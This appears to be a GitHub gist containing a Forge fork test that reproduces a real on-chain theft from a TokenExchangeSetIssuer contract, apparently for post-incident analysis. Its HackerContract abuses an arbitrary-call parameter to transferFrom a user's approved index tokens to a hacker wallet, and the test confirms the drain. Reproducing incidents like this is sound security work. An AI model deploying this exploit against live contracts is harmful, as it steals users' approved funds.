Created
August 15, 2024 21:30
-
-
Save voith/a718aa0d4bf20a33c1e5b2749cafb50e to your computer and use it in GitHub Desktop.
Forge test to show how funds were stolen in trx: 0x2498dede022399f734edecd58484c7adad5b2a127f1fa1fda655dade86a1a8f3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: Apache-2.0 | |
pragma solidity 0.6.10; | |
pragma experimental ABIEncoderV2; | |
import "forge-std/Test.sol"; | |
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
import {TokenExchangeSetIssuer} from "contracts/extensions/TokenExchangeSetIssuer.sol"; | |
import {BasicIssuanceModule} from "contracts/modules/BasicIssuanceModule.sol"; | |
import {ISetToken} from "contracts/interfaces/ISetToken.sol"; | |
contract HackerContract { | |
function hack( | |
TokenExchangeSetIssuer _tokenExchangeSetIssuer, | |
IERC20 _weth, | |
ISetToken _setToken, | |
address _user, | |
uint256 amount, | |
address _hackerWallet | |
) external { | |
address[] memory exchanges = new address[](1); | |
exchanges[0] = address(_setToken); | |
bytes[] memory payload = new bytes[](1); | |
payload[0] = abi.encodeWithSelector( | |
_setToken.transferFrom.selector, | |
_user, | |
_hackerWallet, | |
amount | |
); | |
_tokenExchangeSetIssuer.buyComponentsAndIssueSetToken( | |
_setToken, | |
0, | |
BasicIssuanceModule(address(this)), | |
_weth, | |
0, | |
exchanges, | |
payload | |
); | |
} | |
function issue( | |
ISetToken _setToken, | |
uint256 _quantity, | |
address _to | |
) external {} | |
function getRequiredComponentUnitsForIssue( | |
ISetToken _setToken, | |
uint256 _quantity | |
) public view returns (address[] memory, uint256[] memory) { | |
address usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; | |
address[] memory components = new address[](1); | |
uint256[] memory quantities = new uint256[](1); | |
components[0] = usdcAddress; | |
quantities[0] = 0; | |
return (components, quantities); | |
} | |
} | |
contract ForkTestHack is Test { | |
TokenExchangeSetIssuer tokenExchangeSetIssuer; | |
address wETHAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; | |
address usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; | |
address basicIssuanceModuleAddress = 0x9330d0F979af5c8a5f2380f7bc41234A7d8A15de; | |
address memeIndexTokenAddress = 0xA544b3F0c46c15F0B2b00ba3D67b56C250287905; | |
address user = address(0x52); | |
address hackerWallet = address(0x53); | |
IERC20 weth = IERC20(wETHAddress); | |
BasicIssuanceModule issuanceModule = BasicIssuanceModule(basicIssuanceModuleAddress); | |
ISetToken memeIndexToken = ISetToken(memeIndexTokenAddress); | |
function setUp() external { | |
tokenExchangeSetIssuer = new TokenExchangeSetIssuer(); | |
} | |
function _issueMeme(uint256 memeIndexQuantity) internal { | |
(address[] memory components, uint256[] memory componentQuantities) = issuanceModule | |
.getRequiredComponentUnitsForIssue(memeIndexToken, memeIndexQuantity); | |
for (uint i = 0; i < components.length; i++) { | |
deal({token: components[i], to: user, give: componentQuantities[i]}); | |
IERC20(components[i]).approve(basicIssuanceModuleAddress, componentQuantities[i]); | |
} | |
issuanceModule.issue(memeIndexToken, memeIndexQuantity, user); | |
} | |
function testHack() external { | |
vm.startPrank(user); | |
uint256 amount = 5 ether; | |
// User issues 5 meme tokens | |
_issueMeme(amount); | |
assertEq(memeIndexToken.balanceOf(user), amount); | |
// user approve 5 meme token to the TokenExchangeSetIssuer contract | |
memeIndexToken.approve(address(tokenExchangeSetIssuer), amount); | |
// hacker deploys their contract | |
HackerContract _hackerContract = new HackerContract(); | |
// hacker calls hack to steal users approved funds | |
_hackerContract.hack( | |
tokenExchangeSetIssuer, | |
weth, | |
memeIndexToken, | |
user, | |
amount, | |
hackerWallet | |
); | |
// check that the funds have been stolen | |
assertEq(memeIndexToken.balanceOf(user), 0); | |
assertEq(memeIndexToken.balanceOf(hackerWallet), amount); | |
vm.stopPrank(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment